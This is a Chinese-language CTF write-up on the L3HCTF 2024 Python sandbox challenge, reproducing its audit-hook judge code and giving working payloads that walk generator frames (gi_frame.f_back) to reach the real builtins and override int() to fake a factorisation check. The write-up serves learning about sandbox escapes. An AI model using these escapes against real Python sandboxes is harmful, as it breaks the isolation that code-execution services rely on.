前言
最近接触python的漏洞挺多的,在刷相关比赛题和总结,国赛的栈帧逃逸的题可以溯源到L3HCTF2024的这道题,去拉docker来复现一下
题目描述
分析
下载附件得到如下的目录结构
开题如下
oj.py---沙箱代码层面实现:添加hook函数限制审计事件的发生
flag的获取条件是if(p>1e5 and q>1e5 and p*q==int(xxxx)
import sys
import os
codes='''
<<codehere>>
'''
try:
codes.encode("ascii")
except UnicodeEncodeError:
exit(0)
if "__" in codes:
exit(0)
codes+="\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()
def blackFunc(oldexit):
def func(event, args):
blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
for i in blackList:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
oldexit(0)
return func
code = compile(codes, "<judgecode>", "exec")#编译代码
sys.addaudithook(blackFunc(os._exit))#调用了sys.addaudithook函数,将blackFunc(os._exit)注册为审计钩子
exec(code,{"__builtins__": None},locals)#执行编译后的代码
p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
print("Correct!",end="")
else:
print("Wrong!",end="")
web.py
import flask
import time
import random
import os
import subprocess
codes=""
with open("oj.py","r") as f:
codes=f.read()
flag=""
with open("/flag","r") as f:
flag=f.read()
app = flask.Flask(__name__)
@app.route('/')
def index():
return flask.render_template('ui.html')
@app.route('/judge', methods=['POST'])
def judge():
code = flask.request.json['code'].replace("def factorization(n: string) -> tuple[int]:","def factorization(n):")
correctstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))#生成随机的20长度的字符串,从a-z里面组成
wrongstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
print(correctstr,wrongstr)
code=codes.replace("Correct",correctstr).replace("Wrong",wrongstr).replace("<<codehere>>",code)
filename = "upload/"+str(time.time()) + str(random.randint(0, 1000000))
with open(filename + '.py', 'w') as f:
f.write(code)
try:
result = subprocess.run(['python3', filename + '.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove(filename + '.py')
print(result)
if(result.endswith(correctstr+"!")):
return flask.jsonify("Correct!flag is "+flag)
else:
return flask.jsonify("Wrong!")
except:
os.remove(filename + '.py')
return flask.jsonify("Timeout!")
if __name__ == '__main__':
app.run("0.0.0.0")
代码审计可知,web.py会将json的code内容写入py文件并执行,同时code内容是oj.py,其中的<<codehere>>
为自定义控制
思路收集
- 定义一个新类,控制
int()
的返回值
此题由于内置命名空间被设置成了None,__
也被过滤
- 重写int函数,达到控制返回值的目的,而重写内置函数就需要逃逸到全局命名空间,也就是说要用到生成器
payload
需要知道解包操作符的作用(payload from JBN)
factorization = lambda x:("1", "2")
def int(n):
if n == "1":
return 1e6
elif n == "2":
return 1e6
else:
return 1e12
c = [a:=[],a.append([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]]
d = c[-1][0]["_""_builtins_""_"]
d.setattr(d, "int", int)
换一种熟悉的写法
改写的第一种payload
def factorization(n):
def b():
yield c.gi_frame.f_back.f_back.f_back
c = b()
for d in c:
frame = d
frame.f_globals["_"+"_builtins_"+"_"].setattr(frame.f_globals["_"+"_builtins_"+"_"],'int',lambda x:123456 if x==123456 else 15241383936)
return (123456,123456)
注意
用frame = next(c) 和 frame = [x for x in c][0]会wrong!
frame = next(c) 和 for d in c:\n frame = d有相同的栈帧对象层
frame = next(c)行不通的原因暂时没明白,改写了列表推导式的写法也就是
frame = [x for x in c][0]这种方法再f_back一次即可,如下
改写的第二种payload
def factorization(n):
def b():
yield c.gi_frame.f_back.f_back.f_back.f_back
c = b()
frame = [x for x in c][0]
frame.f_globals["_"+"_builtins_"+"_"].setattr(frame.f_globals["_"+"_builtins_"+"_"],'int',lambda x:123456 if x==123456 else 15241383936)
print(frame.f_back)
return (123456,123456)
最终传参:
{"code" : "def factorization(n):\n def b():\n yield c.gi_frame.f_back.f_back.f_back\n c = b()\n for d in c:\n frame = d\n frame.f_globals['_'+'_builtins_'+'_'].setattr(frame.f_globals['_'+'_builtins_'+'_'],'int',lambda x:123456 if x==123456 else 15241383936)\n return (123456,123456)\n"}
or
{"code":"def factorization(n):\n def b():\n yield c.gi_frame.f_back.f_back.f_back.f_back\n c = b()\n frame = [x for x in c][0]\n frame.f_globals['_'+'_builtins_'+'_'].setattr(frame.f_globals['_'+'_builtins_'+'_'],'int',lambda x:123456 if x==123456 else 15241383936)\n return (123456,123456)\n"}
reference
总结
获取栈帧对象的几种方法
以下三种情况等效
import inspect
def waff():
g = (inspect.currentframe().f_back for _ in range(1))
frame = [a for a in g][0]
print(frame.f_back.f_back.f_back)
waff()
import inspect
def waff():
g = (inspect.currentframe().f_back for _ in range(1))
for i in g:
frame = i
print(frame.f_back.f_back)
waff()
import inspect
def waff():
g = (inspect.currentframe().f_back for _ in range(1))
frame = next(g)
print(frame.f_back.f_back)
waff()
很明显了,总结过来就一句话
frame = next(c) 和 for d in c:\n frame = d有相同的栈帧对象层
列表推导式会多一层
Comments | NOTHING